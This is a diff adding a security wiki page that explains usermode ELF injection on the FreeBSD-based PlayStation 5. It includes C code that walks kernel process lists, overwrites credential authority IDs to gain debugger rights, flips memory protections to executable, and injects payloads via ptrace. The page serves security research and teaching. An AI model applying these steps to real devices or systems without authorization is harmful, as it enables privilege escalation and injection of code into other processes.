|
| 1 | +# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study) |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +This page documents a practical Unix/BSD usermode process/ELF injection technique on PlayStation 5 (PS5), which is based on FreeBSD. The method generalizes to FreeBSD derivatives when you already have kernel read/write (R/W) primitives. High level: |
| 8 | + |
| 9 | +- Patch the current process credentials (ucred) to grant debugger authority, enabling ptrace/mdbg on arbitrary user processes. |
| 10 | +- Find target processes by walking the kernel allproc list. |
| 11 | +- Bypass PROT_EXEC restrictions by flipping vm_map_entry.protection |= PROT_EXEC in the target’s vm_map via kernel data writes. |
| 12 | +- Use ptrace to perform Remote Function Invocation (RFI): suspend a thread, set registers to call arbitrary functions inside the target, resume, collect return values, and restore state. |
| 13 | +- Map and run arbitrary ELF payloads inside the target using an in-process ELF loader, then spawn a dedicated thread that runs your payload and triggers a breakpoint to detach cleanly. |
| 14 | + |
| 15 | +PS5 hypervisor mitigations worth noting (contextualized for this technique): |
| 16 | +- XOM (execute-only .text) prevents reading/writing kernel .text. |
| 17 | +- Clearing CR0.WP or disabling CR4.SMEP causes a hypervisor vmexit (crash). Only data-only kernel writes are viable. |
| 18 | +- Userland mmap is restricted to PROT_READ|PROT_WRITE by default. Granting PROT_EXEC must be done by editing vm_map entries in kernel memory. |
| 19 | + |
| 20 | +This technique is post-exploitation: it assumes kernel R/W primitives from an exploit chain. Public payloads demonstrate this up to firmware 10.01 at time of writing. |
| 21 | + |
| 22 | +## Kernel data-only primitives |
| 23 | + |
| 24 | +### Process discovery via allproc |
| 25 | + |
| 26 | +FreeBSD maintains a doubly-linked list of processes in kernel .data at allproc. With a kernel read primitive, iterate it to locate process names and PIDs: |
| 27 | + |
| 28 | +```c |
| 29 | +struct proc* find_proc_by_name(const char* proc_name){ |
| 30 | + uint64_t next = 0; |
| 31 | + kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head |
| 32 | + struct proc* proc = malloc(sizeof(struct proc)); |
| 33 | + do{ |
| 34 | + kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry |
| 35 | + if (!strcmp(proc->p_comm, proc_name)) return proc; |
| 36 | + kernel_copyout(next, &next, sizeof(uint64_t)); // advance next |
| 37 | + } while (next); |
| 38 | + free(proc); |
| 39 | + return NULL; |
| 40 | +} |
| 41 | + |
| 42 | +void list_all_proc_and_pid(){ |
| 43 | + uint64_t next = 0; |
| 44 | + kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); |
| 45 | + struct proc* proc = malloc(sizeof(struct proc)); |
| 46 | + do{ |
| 47 | + kernel_copyout(next, (void*)proc, sizeof(struct proc)); |
| 48 | + printf("%s - %d\n", proc->p_comm, proc->pid); |
| 49 | + kernel_copyout(next, &next, sizeof(uint64_t)); |
| 50 | + } while (next); |
| 51 | + free(proc); |
| 52 | +} |
| 53 | +``` |
| 54 | +
|
| 55 | +Notes: |
| 56 | +- KERNEL_ADDRESS_ALLPROC is firmware-dependent. |
| 57 | +- p_comm is a fixed-size name; consider pid->proc lookups if needed. |
| 58 | +
|
| 59 | +### Elevate credentials for debugging (ucred) |
| 60 | +
|
| 61 | +On PS5, struct ucred includes an Authority ID field reachable via proc->p_ucred. Writing the debugger authority ID grants ptrace/mdbg over other processes: |
| 62 | +
|
| 63 | +```c |
| 64 | +void set_ucred_to_debugger(){ |
| 65 | + struct proc* proc = get_proc_by_pid(getpid()); |
| 66 | + if (proc){ |
| 67 | + uintptr_t authid = 0; // read current (optional) |
| 68 | + uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID |
| 69 | + kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t)); |
| 70 | + kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t)); |
| 71 | + free(proc); |
| 72 | + } |
| 73 | +} |
| 74 | +``` |
| 75 | + |
| 76 | +- Offset 0x58 is specific to the PS5 firmware family and must be verified per version. |
| 77 | +- After this write, the injector can attach and instrument user processes via ptrace/mdbg. |
| 78 | + |
| 79 | +## Bypassing RW-only user mappings: vm_map PROT_EXEC flip |
| 80 | + |
| 81 | +Userland mmap may be constrained to PROT_READ|PROT_WRITE. FreeBSD tracks a process’s address space in a vm_map of vm_map_entry nodes (BST plus list). Each entry carries protection and max_protection fields: |
| 82 | + |
| 83 | +```c |
| 84 | +struct vm_map_entry { |
| 85 | + struct vm_map_entry *prev,*next,*left,*right; |
| 86 | + vm_offset_t start, end, avail_ssize; |
| 87 | + vm_size_t adj_free, max_free; |
| 88 | + union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags; |
| 89 | + vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance; |
| 90 | + int wired_count; vm_pindex_t lastr; |
| 91 | +}; |
| 92 | +``` |
| 93 | + |
| 94 | +With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes: |
| 95 | +- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range. |
| 96 | +- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks. |
| 97 | +- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections. |
| 98 | + |
| 99 | +This bypasses userland’s mmap policy by editing kernel-owned metadata directly. |
| 100 | + |
| 101 | +## Remote Function Invocation (RFI) with ptrace |
| 102 | + |
| 103 | +FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control: |
| 104 | + |
| 105 | +1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply. |
| 106 | +2. Save thread context: registers, PC, SP, flags. |
| 107 | +3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed. |
| 108 | +4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs. |
| 109 | +5. Restore original context and continue. |
| 110 | + |
| 111 | +Use cases: |
| 112 | +- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory. |
| 113 | +- Invoke helper routines to fetch returned entrypoints and payload-args pointers. |
| 114 | + |
| 115 | +Example of driving the ELF loader: |
| 116 | + |
| 117 | +```c |
| 118 | +intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target); |
| 119 | +intptr_t args = elfldr_payload_args(target_pid); |
| 120 | +printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args); |
| 121 | +``` |
| 122 | +
|
| 123 | +The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payload’s main(). |
| 124 | +
|
| 125 | +## Threaded stager and clean detach |
| 126 | +
|
| 127 | +A minimal stager inside the target creates a new pthread that runs the ELF’s main and then triggers int3 to signal the injector to detach: |
| 128 | +
|
| 129 | +```c |
| 130 | +int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){ |
| 131 | + pthread_t thread; |
| 132 | + functions->pthread_create_ptr(&thread, 0, |
| 133 | + (void*(*)(void*))functions->elf_main, functions->payload_args); |
| 134 | + asm("int3"); |
| 135 | + return 0; |
| 136 | +} |
| 137 | +``` |
| 138 | + |
| 139 | +- The SCEFunctions/payload_args pointers are provided by the loader/SDK glue. |
| 140 | +- After the breakpoint and detach, the payload continues in its own thread. |
| 141 | + |
| 142 | +## End-to-end pipeline (PS5 reference implementation) |
| 143 | + |
| 144 | +A working implementation ships as a small TCP injector server plus a client script: |
| 145 | + |
| 146 | +- NineS server listens on TCP 9033 and receives a header containing the target process name followed by the ELF image: |
| 147 | + |
| 148 | +```c |
| 149 | +typedef struct __injector_data_t{ |
| 150 | + char proc_name[MAX_PROC_NAME]; |
| 151 | + Elf64_Ehdr elf_header; |
| 152 | +} injector_data_t; |
| 153 | +``` |
| 154 | + |
| 155 | +- Python client usage: |
| 156 | + |
| 157 | +```bash |
| 158 | +python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP> |
| 159 | +``` |
| 160 | + |
| 161 | +Hello-world payload example (logs to klog): |
| 162 | + |
| 163 | +```c |
| 164 | +#include <stdio.h> |
| 165 | +#include <unistd.h> |
| 166 | +#include <ps5/klog.h> |
| 167 | +int main(){ |
| 168 | + klog_printf("Hello from PID %d\n", getpid()); |
| 169 | + return 0; |
| 170 | +} |
| 171 | +``` |
| 172 | + |
| 173 | +## Practical considerations |
| 174 | + |
| 175 | +- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) are firmware-specific and must be updated per release. |
| 176 | +- Hypervisor protections force data-only kernel writes; do not attempt to patch CR0.WP or CR4.SMEP. |
| 177 | +- JIT memory is an alternative: some processes expose PS5 JIT APIs to allocate executable pages. The vm_map protection flip removes the need to rely on JIT/mirroring tricks. |
| 178 | +- Keep register save/restore robust; on failure, you can deadlock or crash the target. |
| 179 | + |
| 180 | +## Public tooling |
| 181 | + |
| 182 | +- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk |
| 183 | +- ELF loader: https://github.com/ps5-payload-dev/elfldr |
| 184 | +- Injector server: https://github.com/buzzer-re/NineS/ |
| 185 | +- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils |
| 186 | +- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv |
| 187 | + |
| 188 | +## References |
| 189 | + |
| 190 | +- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/) |
| 191 | +- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk) |
| 192 | +- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr) |
| 193 | +- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/) |
| 194 | +- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils) |
| 195 | +- [Mira](https://github.com/OpenOrbis/mira-project) |
| 196 | +- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv) |
| 197 | +- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html) |
| 198 | + |
| 199 | +{{#include ../../../banners/hacktricks-training.md}} |
0 commit comments